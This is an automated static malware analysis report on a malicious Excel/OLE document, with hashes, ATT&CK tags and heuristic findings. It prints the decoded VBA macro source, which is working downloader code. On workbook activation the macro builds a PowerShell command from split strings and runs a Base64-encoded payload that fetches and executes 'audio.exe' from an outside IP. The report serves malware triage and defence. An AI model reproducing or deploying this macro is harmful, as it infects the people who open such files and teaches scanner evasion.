Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 27bf4b1c68b7a533…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2021-10-23
MD5: 9e737737ef75d1542ae316637a829790 SHA-1: 928bd15ea7cc37599e8a7a07e2b9f37f45bf45b3 SHA-256: 27bf4b1c68b7a53323962fd8daaf03c8d65dfe1db1584884d5fd08f421973588
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The VBA macro within the 'macros.bas' script contains obfuscated PowerShell commands. Specifically, it decodes a Base64 string and uses it to download a file named 'audio.exe' from '13.92.100.208/toks/audio.exe' via PowerShell. The script then executes this downloaded file. The use of `Shell()` and the reassembly of 'PowerShell' from split string literals indicate malicious intent to execute arbitrary code.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2188 bytes
SHA-256: 4ac5c67d2f12de4cab70cb49d7442f610d17b3cf65ee82b1790ce65b94d517ad
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim enc As String
enc = "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBZAHcAYwBuAGUAagBqAGkAZgBrAGkAbgB1AG4AdQAuAGUAeABlACIAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwADoALwAvADEAMwAuADkAMgAuADEAMAAwAC4AMgAwADgALwB0AG8AawBzAC8AYQB1AGQAaQBvAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA=="
Dim LResult As String
LResult = Replace(enc, "_", "")
call1 = "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"
ActiveWorkbook.Save
batch = "Brznatqyjaodlncwtvecpod.bat"
Open batch For Output As #1
    Print #1, "start /MIN C:\Windo" + "ws\SysWOW64\" + call1 + " -win 1 -enc " + LResult 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Table 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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